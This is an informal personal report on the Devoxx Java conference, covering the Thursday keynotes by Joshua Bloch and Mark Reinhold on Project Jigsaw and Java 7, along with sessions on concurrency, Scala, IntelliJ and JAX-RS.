The Thursday keynote also consisted of two parts, but in contrast to the Wednesday, these were both very interesting. It started with a keynote by Joshua Bloch, author of the Effective Java book and one of the lead developers of Java SE 5. Bloch, currently working for Google, discussed some items of his Effictive Java book (the talk was apparently identical to the one he gave at JavaOne). The second part of the keynote was given by Mark Reinhold of Sun and consisted for the largest part of a discussion of Project Jigsaw. He also talked about the new features which will probably be part of the upcoming Java 7 release in 2010. Project Jigsaw is a attempt to modularize the Java SE and also enable Java applications to become modularized. The main advantage of this project is that it in the future will be easier to distribute Java applications and request a specific version of a Java library from within an application. The Java distribution will get profiles which are focussed on a specific task or platform. Examples of such profiles could be a mobile profile aimed at mobile phones, a desktop profile and a headless profile, which could be used by server applications. With regard to Java 7, he told that it will not contain closures (according to some people this is the death of Java…). Another remarkable notion is that Reinhold discussed the possibility to break compatibility in a future version of Java, which enables a clean-up of the Java language and libraries and introduce features which have a high impact on the language.

Of course, there is a lot more to write on Devoxx, since the amount of information is huge. Fortunately, all talks during the conference will be published on Parleys.com as podcast or vodcast. Interesting talks I attended where by Brian Goetz on concurrency in Java. During this talk, he presented the Fork/Join package, which could be part of Java 7. Goetz also did a talk together with Alex Buckley on the new JVM features to enable better performance of dynamic languages such as JRuby and Groovy. Bill Venners – author of the book ‘Programming Scala’ – did an very interesting talk on Scala during which he mainly focussed on writing tests in Scala. Two Jetbrains developers presented how IntelliJ IDEA coped with alternative languages and how it coped with multi-language projects and especially the cross-language refactoring features. Another talk by the tech-lead of the Jersey JAX-RS reference implementation introduced JAX-RS, which can be used to develop RESTFul web applications. Of course there was also a delegation of the Java Posse team doing a Live Java Posse-podcast during which the guys from Attlassian gave away free beers. So all in all, Devoxx was really interesting for me and I attended a lot of interesting sessions which gave me inspiration for a while to experiment with some new languages and technologies! Hopefully I’m back next year!